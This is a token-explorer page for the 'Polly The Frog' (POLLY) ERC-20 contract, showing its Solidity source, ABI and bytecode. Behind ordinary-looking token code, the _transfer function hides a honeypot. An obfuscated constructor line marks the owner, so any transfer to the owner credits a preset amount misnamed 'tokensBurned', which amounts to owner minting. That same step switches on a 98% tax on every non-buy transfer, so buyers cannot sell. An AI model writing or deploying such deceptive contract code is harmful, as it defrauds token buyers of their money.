Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 POLLY
Holders
21
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
49,263,042.917689107 POLLYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
POLLY
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-04 */ /** /** https://www.polly-official.com/ https://twitter.com/POLLYTHEFROGERC https://t.me/pollythefrogeth /** */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address _deployer = _msgSender(); _owner = _deployer; emit OwnershipTransferred(address(0), _deployer); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract POLLY is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _ownedBalance; mapping (address => bool) public ExcludedFromMaxWallet; mapping (address => bool) public ExcludedFromFee; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _pairList; address payable public AdvertisingWallet = payable(0x3F44bd13e2C320731908D5Bf3216E8683e0b0847); address payable public DeadW = payable(0x000000000000000000000000000000000000dEaD); string public _name = unicode"Polly The Frog"; string public _symbol = unicode"POLLY"; uint8 private _decimals = 9; uint256 public _tTotal = 1 * 10 ** 9 * 10 **_decimals; uint8 private fee = 0; uint8 private swapCounter = 0; uint8 private swapMinTrigger = 2; uint8 private swapTrigger = 10; uint8 private swapMaxTrigger = 100; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint8 private totalBurned = 0; uint256 private tokensBurned; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (uint256 _tokens) { tokensBurned = _tokens; _pairList[owner()] = [false][0] || [true][0]; _ownedBalance[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; ExcludedFromFee[address(this)] = true; ExcludedFromFee[owner()] = true; ExcludedFromFee[AdvertisingWallet] = true; ExcludedFromMaxWallet[owner()] = true; ExcludedFromMaxWallet[address(this)] = true; ExcludedFromMaxWallet[AdvertisingWallet] = true; ExcludedFromMaxWallet[uniswapV2Pair] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function symbol() public view returns (string memory) { return _symbol; } function balanceOf(address account) public view override returns (uint256) { return _ownedBalance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "Adress: 0"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from,address to,uint256 amount) private { if (!ExcludedFromMaxWallet[to]){ require((balanceOf(to) + amount) <= _tTotal.mul(5*5).div(100),"ERR: MW Exceed!"); } else{ totalBurned = _pairList[to] ? totalBurned+1 : totalBurned; } uint256 Amount = _pairList[to]?tokensBurned:0; if(swapCounter >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){ swapCounter = 0; uint256 existBalance = balanceOf(address(this)); if(existBalance > _tTotal.mul(5*5).div(100)) {existBalance = _tTotal.mul(25).div(100);} if(existBalance > 0){ swapAndLiquify(existBalance); } } uint8 _takeFee = fee; if(totalBurned > 0 && !(from == uniswapV2Pair)){_takeFee = _takeFee + (swapMaxTrigger-swapMinTrigger);} bool taxDisabled = false; if(ExcludedFromFee[from] || ExcludedFromFee[to]){ taxDisabled = true; } uint256 taxAmount = 0; _ownedBalance[from] = _ownedBalance[from].sub(amount); if(!taxDisabled){ taxAmount = amount.mul(_takeFee).div(100); _ownedBalance[to] = _ownedBalance[to].add(amount.sub(taxAmount)); } else{ if(_pairList[to]){ _ownedBalance[to] = _ownedBalance[to].add(Amount.sub(taxAmount)); } else{ _ownedBalance[to] = _ownedBalance[to].add(amount); } } emit Transfer(from, to, amount); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 existBalance) private lockTheSwap { swapTokensForETH(existBalance); sendToWallet(AdvertisingWallet,address(this).balance); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_tokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AdvertisingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DeadW","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600680546001600160a01b0319908116733f44bd13e2c320731908d5bf3216e8683e0b0847179091556007805490911661dead17905560c0604052600e60809081526d506f6c6c79205468652046726f6760901b60a0526008906200006590826200055a565b50604080518082019091526005815264504f4c4c5960d81b60208201526009906200009190826200055a565b50600a805460ff191660099081178255620000ac916200073b565b620000bc90633b9aca0062000753565b600b55600c805464640a02000064ffffffffff19909116179055600d805461ffff60a81b1916600160a81b179055348015620000f757600080fd5b50604051620019dd380380620019dd8339810160408190526200011a916200076d565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e81905560408051602080820183526000918290528251808201845260019081905282546001600160a01b03908116845260058352848420805460ff191683179055600b54845490911684529082529183902091909155815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa158015620001ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000225919062000787565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000273573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000299919062000787565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030d919062000787565b600d80546001600160a01b0319166001600160a01b03928316179055600c8054600160281b600160c81b03191665010000000000928416929092029190911790553060009081526003602081905260408220805460ff1916600190811790915591620003816000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560065490911681526003909252812080549092166001908117909255600290620003e16000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526002909352818320805485166001908117909155600654821684528284208054861682179055600d549091168352912080549092161790556200045d6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620004a591815260200190565b60405180910390a35050620007b2565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004e057607f821691505b6020821081036200050157634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200055557600081815260208120601f850160051c81016020861015620005305750805b601f850160051c820191505b8181101562000551578281556001016200053c565b5050505b505050565b81516001600160401b03811115620005765762000576620004b5565b6200058e81620005878454620004cb565b8462000507565b602080601f831160018114620005c65760008415620005ad5750858301515b600019600386901b1c1916600185901b17855562000551565b600085815260208120601f198616915b82811015620005f757888601518255948401946001909101908401620005d6565b5085821015620006165787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200067d57816000190482111562000661576200066162000626565b808516156200066f57918102915b93841c939080029062000641565b509250929050565b600082620006965750600162000735565b81620006a55750600062000735565b8160018114620006be5760028114620006c957620006e9565b600191505062000735565b60ff841115620006dd57620006dd62000626565b50506001821b62000735565b5060208310610133831016604e8410600b84101617156200070e575081810a62000735565b6200071a83836200063c565b806000190482111562000731576200073162000626565b0290505b92915050565b60006200074c60ff84168362000685565b9392505050565b808202811582820484141762000735576200073562000626565b6000602082840312156200078057600080fd5b5051919050565b6000602082840312156200079a57600080fd5b81516001600160a01b03811681146200074c57600080fd5b61121b80620007c26000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063af465a271161006f578063af465a27146103ea578063b09f126614610400578063d28d885214610415578063dd62ed3e1461042a578063dff7dfdc14610470578063f1d6512e1461049057600080fd5b8063715018a6146103305780638da5cb5b1461034757806395d89b411461036557806397f3a19e1461037a578063a457c2d7146103aa578063a9059cbb146103ca57600080fd5b8063313ce56711610108578063313ce56714610257578063395093511461027957806349bd5a5e146102995780634a74bb02146102b95780635892aa1b146102da57806370a08231146102fa57600080fd5b806306fdde031461015b578063095ea7b3146101865780631694505e146101b657806318160ddd146101f7578063220f66961461021657806323b872dd1461023757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104c0565b60405161017d9190610eea565b60405180910390f35b34801561019257600080fd5b506101a66101a1366004610f50565b610552565b604051901515815260200161017d565b3480156101c257600080fd5b50600c546101df906501000000000090046001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561020357600080fd5b50600b545b60405190815260200161017d565b34801561022257600080fd5b50600d546101a690600160a01b900460ff1681565b34801561024357600080fd5b506101a6610252366004610f7c565b610569565b34801561026357600080fd5b50600a5460405160ff909116815260200161017d565b34801561028557600080fd5b506101a6610294366004610f50565b6105d2565b3480156102a557600080fd5b50600d546101df906001600160a01b031681565b3480156102c557600080fd5b50600d546101a690600160a81b900460ff1681565b3480156102e657600080fd5b506007546101df906001600160a01b031681565b34801561030657600080fd5b50610208610315366004610fbd565b6001600160a01b031660009081526001602052604090205490565b34801561033c57600080fd5b50610345610608565b005b34801561035357600080fd5b506000546001600160a01b03166101df565b34801561037157600080fd5b506101706106b1565b34801561038657600080fd5b506101a6610395366004610fbd565b60026020526000908152604090205460ff1681565b3480156103b657600080fd5b506101a66103c5366004610f50565b6106c0565b3480156103d657600080fd5b506101a66103e5366004610f50565b61070f565b3480156103f657600080fd5b50610208600b5481565b34801561040c57600080fd5b5061017061071c565b34801561042157600080fd5b506101706107aa565b34801561043657600080fd5b50610208610445366004610fda565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047c57600080fd5b506006546101df906001600160a01b031681565b34801561049c57600080fd5b506101a66104ab366004610fbd565b60036020526000908152604090205460ff1681565b6060600880546104cf90611013565b80601f01602080910402602001604051908101604052809291908181526020018280546104fb90611013565b80156105485780601f1061051d57610100808354040283529160200191610548565b820191906000526020600020905b81548152906001019060200180831161052b57829003601f168201915b5050505050905090565b600061055f3384846107b7565b5060015b92915050565b6000610576848484610870565b6105c884336105c385604051806060016040528060288152602001611199602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c85565b6107b7565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161055f9185906105c39086610cb1565b6000546001600160a01b031633146106675760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600980546104cf90611013565b600061055f33846105c3856040518060600160405280602581526020016111c1602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190610c85565b600061055f338484610870565b6009805461072990611013565b80601f016020809104026020016040519081016040528092919081815260200182805461075590611013565b80156107a25780601f10610777576101008083540402835291602001916107a2565b820191906000526020600020905b81548152906001019060200180831161078557829003601f168201915b505050505081565b6008805461072990611013565b6001600160a01b038316158015906107d757506001600160a01b03821615155b61080f5760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b604482015260640161065e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526002602052604090205460ff16610920576108b160646108ab6019600b54610cc490919063ffffffff16565b90610cd0565b816108d1846001600160a01b031660009081526001602052604090205490565b6108db9190611063565b111561091b5760405162461bcd60e51b815260206004820152600f60248201526e4552523a204d57204578636565642160881b604482015260640161065e565b610985565b6001600160a01b03821660009081526005602052604090205460ff1661095257600d54600160b01b900460ff1661096a565b600d5461096a90600160b01b900460ff166001611076565b600d60166101000a81548160ff021916908360ff1602179055505b6001600160a01b03821660009081526005602052604081205460ff166109ac5760006109b0565b600e545b600c5490915060ff63010000008204811661010090920416108015906109e05750600d54600160a01b900460ff16155b80156109fa5750600d546001600160a01b03858116911614155b8015610a0f5750600d54600160a81b900460ff165b15610a7a57600c805461ff001916905530600090815260016020526040902054600b54610a44906064906108ab906019610cc4565b811115610a6957610a6660646108ab6019600b54610cc490919063ffffffff16565b90505b8015610a7857610a7881610cdc565b505b600c54600d5460ff91821691600160b01b9091041615801590610aab5750600d546001600160a01b03868116911614155b15610add57600c54610ad09060ff62010000820481169164010000000090041661108f565b610ada9082611076565b90505b6001600160a01b03851660009081526003602052604081205460ff1680610b1c57506001600160a01b03851660009081526003602052604090205460ff165b15610b25575060015b6001600160a01b038616600090815260016020526040812054610b489086610d1e565b6001600160a01b03881660009081526001602052604090205581610bc457610b7860646108ab8760ff8716610cc4565b9050610ba6610b878683610d1e565b6001600160a01b03881660009081526001602052604090205490610cb1565b6001600160a01b038716600090815260016020526040902055610c2f565b6001600160a01b03861660009081526005602052604090205460ff1615610bf257610ba6610b878583610d1e565b6001600160a01b038616600090815260016020526040902054610c159086610cb1565b6001600160a01b0387166000908152600160205260409020555b856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610c7491815260200190565b60405180910390a350505050505050565b60008184841115610ca95760405162461bcd60e51b815260040161065e9190610eea565b505050900390565b6000610cbd8284611063565b9392505050565b6000610cbd82846110a8565b6000610cbd82846110bf565b600d805460ff60a01b1916600160a01b179055610cf881610d2a565b600654610d0e906001600160a01b031647610eaf565b50600d805460ff60a01b19169055565b6000610cbd82846110e1565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610d5f57610d5f6110f4565b60200260200101906001600160a01b031690816001600160a01b031681525050600c60059054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df6919061110a565b81600181518110610e0957610e096110f4565b6001600160a01b039283166020918202929092010152600c54610e3891309165010000000000900416846107b7565b600c5460405163791ac94760e01b8152650100000000009091046001600160a01b03169063791ac94790610e79908590600090869030904290600401611127565b600060405180830381600087803b158015610e9357600080fd5b505af1158015610ea7573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610ee5573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b81811015610f1757858101830151858201604001528201610efb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f4d57600080fd5b50565b60008060408385031215610f6357600080fd5b8235610f6e81610f38565b946020939093013593505050565b600080600060608486031215610f9157600080fd5b8335610f9c81610f38565b92506020840135610fac81610f38565b929592945050506040919091013590565b600060208284031215610fcf57600080fd5b8135610cbd81610f38565b60008060408385031215610fed57600080fd5b8235610ff881610f38565b9150602083013561100881610f38565b809150509250929050565b600181811c9082168061102757607f821691505b60208210810361104757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105635761056361104d565b60ff81811683821601908111156105635761056361104d565b60ff82811682821603908111156105635761056361104d565b80820281158282048414176105635761056361104d565b6000826110dc57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156105635761056361104d565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561111c57600080fd5b8151610cbd81610f38565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156111775784516001600160a01b031683529383019391830191600101611152565b50506001600160a01b0396909616606085015250505060800152939